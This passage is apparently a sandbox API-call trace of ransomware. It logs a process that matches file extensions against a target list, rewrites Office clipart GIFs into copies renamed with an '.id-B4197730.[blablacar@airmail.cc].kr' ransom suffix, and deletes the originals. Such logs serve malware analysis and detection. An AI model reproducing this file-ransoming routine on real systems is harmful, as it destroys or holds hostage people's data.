[0104.455] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.455] lstrlenW (lpString=".1cd") returned 4 [0104.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0104.455] lstrlenW (lpString=".jpg") returned 4 [0104.455] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.455] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.455] lstrlenW (lpString="AG00139_.GIF") returned 12 [0104.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.456] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=10607) returned 1 [0104.456] CloseHandle (hObject=0x338) returned 1 [0104.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0104.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.456] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.456] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0104.456] GetLastError () returned 0x0 [0104.456] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x296f, lpOverlapped=0x0) returned 1 [0104.458] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x2970, lpOverlapped=0x0) returned 1 [0104.459] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.459] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0104.459] SetEndOfFile (hFile=0x358) returned 1 [0104.459] CloseHandle (hObject=0x358) returned 1 [0104.460] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.460] SetEndOfFile (hFile=0x338) returned 1 [0104.461] CloseHandle (hObject=0x338) returned 1 [0104.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0104.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.462] lstrlenW (lpString=".doc") returned 4 [0104.462] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.462] lstrlenW (lpString=".docx") returned 5 [0104.462] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.462] lstrlenW (lpString=".pdf") returned 4 [0104.462] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.462] lstrlenW (lpString=".xls") returned 4 [0104.462] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.462] lstrlenW (lpString=".xlsx") returned 5 [0104.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.462] lstrlenW (lpString=".ppt") returned 4 [0104.462] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.462] lstrlenW (lpString=".zip") returned 4 [0104.462] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.462] lstrlenW (lpString=".rar") returned 4 [0104.462] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.462] lstrlenW (lpString=".bz2") returned 4 [0104.462] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.462] lstrlenW (lpString=".7z") returned 3 [0104.462] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.462] lstrlenW (lpString=".dbf") returned 4 [0104.462] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.462] lstrlenW (lpString=".1cd") returned 4 [0104.462] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString=".jpg") returned 4 [0104.463] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString=".doc") returned 4 [0104.463] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.463] lstrlenW (lpString=".docx") returned 5 [0104.463] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.463] lstrlenW (lpString=".pdf") returned 4 [0104.463] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString=".xls") returned 4 [0104.463] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString=".xlsx") returned 5 [0104.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.463] lstrlenW (lpString=".ppt") returned 4 [0104.463] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString=".zip") returned 4 [0104.463] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString=".rar") returned 4 [0104.463] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.463] lstrlenW (lpString=".bz2") returned 4 [0104.463] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.463] lstrlenW (lpString=".7z") returned 3 [0104.463] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString=".dbf") returned 4 [0104.463] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.463] lstrlenW (lpString=".1cd") returned 4 [0104.463] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0104.464] lstrlenW (lpString=".jpg") returned 4 [0104.464] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.464] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.464] lstrlenW (lpString="AG00142_.GIF") returned 12 [0104.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.464] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=15308) returned 1 [0104.464] CloseHandle (hObject=0x338) returned 1 [0104.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0104.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.465] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.465] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0104.465] GetLastError () returned 0x0 [0104.465] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0104.467] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0104.468] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.468] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0104.468] SetEndOfFile (hFile=0x358) returned 1 [0104.468] CloseHandle (hObject=0x358) returned 1 [0104.469] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.469] SetEndOfFile (hFile=0x338) returned 1 [0104.470] CloseHandle (hObject=0x338) returned 1 [0104.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0104.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString=".doc") returned 4 [0104.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.471] lstrlenW (lpString=".docx") returned 5 [0104.471] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.471] lstrlenW (lpString=".pdf") returned 4 [0104.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString=".xls") returned 4 [0104.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString=".xlsx") returned 5 [0104.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.471] lstrlenW (lpString=".ppt") returned 4 [0104.471] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString=".zip") returned 4 [0104.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString=".rar") returned 4 [0104.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString=".bz2") returned 4 [0104.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.471] lstrlenW (lpString=".7z") returned 3 [0104.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString=".dbf") returned 4 [0104.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString=".1cd") returned 4 [0104.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString=".jpg") returned 4 [0104.471] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.472] lstrlenW (lpString=".doc") returned 4 [0104.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.472] lstrlenW (lpString=".docx") returned 5 [0104.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.472] lstrlenW (lpString=".pdf") returned 4 [0104.472] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.472] lstrlenW (lpString=".xls") returned 4 [0104.472] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.472] lstrlenW (lpString=".xlsx") returned 5 [0104.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.472] lstrlenW (lpString=".ppt") returned 4 [0104.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.472] lstrlenW (lpString=".zip") returned 4 [0104.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.472] lstrlenW (lpString=".rar") returned 4 [0104.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.472] lstrlenW (lpString=".bz2") returned 4 [0104.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.472] lstrlenW (lpString=".7z") returned 3 [0104.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.472] lstrlenW (lpString=".dbf") returned 4 [0104.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.472] lstrlenW (lpString=".1cd") returned 4 [0104.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0104.472] lstrlenW (lpString=".jpg") returned 4 [0104.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.473] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.473] lstrlenW (lpString="AG00154_.GIF") returned 12 [0104.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.473] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=5315) returned 1 [0104.473] CloseHandle (hObject=0x338) returned 1 [0104.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0104.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.473] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.775] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.616] GetLastError () returned 0x0 [0105.630] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0105.633] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0105.634] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.634] WriteFile (in: hFile=0x39c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.634] SetEndOfFile (hFile=0x39c) returned 1 [0105.635] CloseHandle (hObject=0x39c) returned 1 [0105.635] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.635] SetEndOfFile (hFile=0x338) returned 1 [0105.636] CloseHandle (hObject=0x338) returned 1 [0105.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0105.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.637] lstrlenW (lpString=".doc") returned 4 [0105.637] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.637] lstrlenW (lpString=".docx") returned 5 [0105.637] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.637] lstrlenW (lpString=".pdf") returned 4 [0105.637] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.637] lstrlenW (lpString=".xls") returned 4 [0105.637] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.637] lstrlenW (lpString=".xlsx") returned 5 [0105.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.637] lstrlenW (lpString=".ppt") returned 4 [0105.638] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString=".zip") returned 4 [0105.638] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.638] lstrlenW (lpString=".rar") returned 4 [0105.638] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.638] lstrlenW (lpString=".bz2") returned 4 [0105.638] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.638] lstrlenW (lpString=".7z") returned 3 [0105.638] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString=".dbf") returned 4 [0105.638] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString=".1cd") returned 4 [0105.638] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString=".jpg") returned 4 [0105.638] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.638] lstrlenW (lpString=".doc") returned 4 [0105.638] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.638] lstrlenW (lpString=".docx") returned 5 [0105.638] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.638] lstrlenW (lpString=".pdf") returned 4 [0105.638] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.639] lstrlenW (lpString=".xls") returned 4 [0105.639] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.639] lstrlenW (lpString=".xlsx") returned 5 [0105.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.639] lstrlenW (lpString=".ppt") returned 4 [0105.639] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.639] lstrlenW (lpString=".zip") returned 4 [0105.639] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.639] lstrlenW (lpString=".rar") returned 4 [0105.639] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.639] lstrlenW (lpString=".bz2") returned 4 [0105.639] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.639] lstrlenW (lpString=".7z") returned 3 [0105.639] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.639] lstrlenW (lpString=".dbf") returned 4 [0105.639] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.639] lstrlenW (lpString=".1cd") returned 4 [0105.639] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0105.639] lstrlenW (lpString=".jpg") returned 4 [0105.639] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.639] lstrcmpiW (lpString1=".GIF", 